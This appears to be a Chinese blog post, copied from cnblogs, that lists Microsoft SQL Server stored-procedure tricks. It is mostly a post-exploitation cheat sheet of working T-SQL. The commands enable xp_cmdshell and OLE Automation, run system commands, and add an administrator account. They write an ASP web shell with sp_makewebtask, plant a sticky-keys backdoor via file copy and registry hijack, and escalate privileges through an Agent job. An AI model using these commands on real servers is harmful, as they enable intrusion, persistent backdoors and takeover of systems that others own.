SQL 不常用的一些命令sp_OACreate，xp_cmdshell，sp_makewebtask

• 开启和关毕xp_cmdshell
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  EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;-- 开启xp_cmdshell
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  EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 0;RECONFIGURE;-- 关毕xp_cmdshell
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  EXEC sp_configure ‘show advanced options‘, 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
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  2.
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  xp_cmdshell执行命令
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  EXEC master..xp_cmdshell ‘ipconfig‘
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  3.
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  开启和关毕sp_oacreate
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures‘,1;RECONFIGURE; 开启
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures‘,0;RECONFIGURE; 关毕
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  EXEC sp_configure ‘show advanced options‘, 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
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  4.
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  sp_OACreate删除文件
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  DECLARE @Result int
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  DECLARE @FSO_Token int
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  EXEC @Result = sp_OACreate ‘Scripting.FileSystemObject‘, @FSO_Token OUTPUT
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  EXEC @Result = sp_OAMethod @FSO_Token, ‘DeleteFile‘, NULL, ‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动\user.bat‘
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  EXEC @Result = sp_OADestroy @FSO_Token
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  5.
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  sp_OACreate复制文件
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  declare @o int
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  exec sp_oacreate ‘scripting.filesystemobject‘, @o out
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  exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\explorer.exe‘ ,‘c:\windows\system32\sethc.exe‘;
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  6.
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  sp_OACreate移动文件
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  declare @aa int
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  exec sp_oacreate ‘scripting.filesystemobject‘, @aa out
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  exec sp_oamethod @aa, ‘moveFile‘,null,‘c:\temp\ipmi.log‘, ‘c:\temp\ipmi1.log‘;
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  7.
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  sp_OACreate加管理员用户
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  DECLARE @js int
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  EXEC sp_OACreate ‘ScriptControl‘,@js OUT
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  EXEC sp_OASetProperty @js, ‘Language‘, ‘JavaScript‘
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  EXEC sp_OAMethod @js, ‘Eval‘, NULL, ‘var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;‘
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  8.
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  开启和关毕sp_makewebtask
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Web Assistant Procedures‘,1;RECONFIGURE; 开启
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Web Assistant Procedures‘,0;RECONFIGURE; 关毕
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  EXEC sp_configure ‘show advanced options‘, 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
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  9.
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  sp_makewebtask新建文件
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  exec sp_makewebtask ‘c:\windows.txt‘,‘ select ‘‘<%25execute(request("a"))%25>‘‘ ‘;;--
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  10.
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  wscript.shell执行命令
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  use master
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  declare @o int
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  exec sp_oacreate ‘wscript.shell‘,@o out
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  exec sp_oamethod @o,‘run‘,null,‘cmd /c "net user" > c:\test.tmp‘
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  11.
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  Shell.Application执行命令
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  declare @o int
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  exec sp_oacreate ‘Shell.Application‘, @o out
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  exec sp_oamethod @o, ‘ShellExecute‘,null, ‘cmd.exe‘,‘cmd /c net user >c:\test.txt‘,‘c:\windows\system32‘,‘‘,‘1‘;
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  or
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  exec sp_oamethod @o, ‘ShellExecute‘,null, ‘user.vbs‘,‘‘,‘c:\‘,‘‘,‘1‘;
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  12.
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  开启和关毕openrowset
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries‘,1;RECONFIGURE; 开启
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  exec sp_configure ‘show advanced options‘, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries‘,0;RECONFIGURE; 关毕
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  EXEC sp_configure ‘show advanced options‘, 0; GO RECONFIGURE WITH OVERRIDE; 禁用advanced options
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  13.
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  沙盒执行命令
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  exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1 默认为3
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  select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=c:\windows\system32\ias\ias.mdb‘,‘select shell("cmd.exe /c echo a>c:\b.txt")‘)
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  14.
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  注册表劫持粘贴键
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  exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
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  Options\sethc.EXE‘,‘Debugger‘,‘REG_SZ‘,‘C:\WINDOWS\explorer.exe‘;
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  15.
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  sp_oacreate替换粘贴键
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  declare @o int
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  exec sp_oacreate ‘scripting.filesystemobject‘, @o out
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  exec sp_oamethod @o, ‘copyfile‘,null,‘c:\windows\explorer.exe‘ ,‘c:\windows\system32\sethc.exe‘;
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  declare @oo int
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  exec sp_oacreate ‘scripting.filesystemobject‘, @oo out exec sp_oamethod @oo, ‘copyfile‘,null,‘c:\windows\system32\sethc.exe‘ ,‘c:\windows\system32\dllcache\sethc.exe‘;
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  16.
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  public权限提权操作
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  USE msdb
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  EXEC sp_add_job @job_name = ‘GetSystemOnSQL‘, www.2cto.com
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  @enabled = 1,
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  @description = ‘This will give a low privileged user access to
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  xp_cmdshell‘,
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  @delete_level = 1
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  EXEC sp_add_jobstep @job_name = ‘GetSystemOnSQL‘,
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  @step_name = ‘Exec my sql‘,
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  @subsystem = ‘TSQL‘,
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  @command = ‘exec master..xp_execresultset N‘‘select ‘‘‘‘exec
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  master..xp_cmdshell "dir > c:\agent-job-results.txt"‘‘‘‘‘‘,N‘‘Master‘‘‘
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  EXEC sp_add_jobserver @job_name = ‘GetSystemOnSQL‘,
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  @server_name = ‘SERVER_NAME‘
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  EXEC sp_start_job @job_name = ‘GetSystemOnSQL‘
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SQL 不常用的一些命令sp_OACreate，xp_cmdshell，sp_makewebtask

原文：https://www.cnblogs.com/linjincheng/p/9728853.html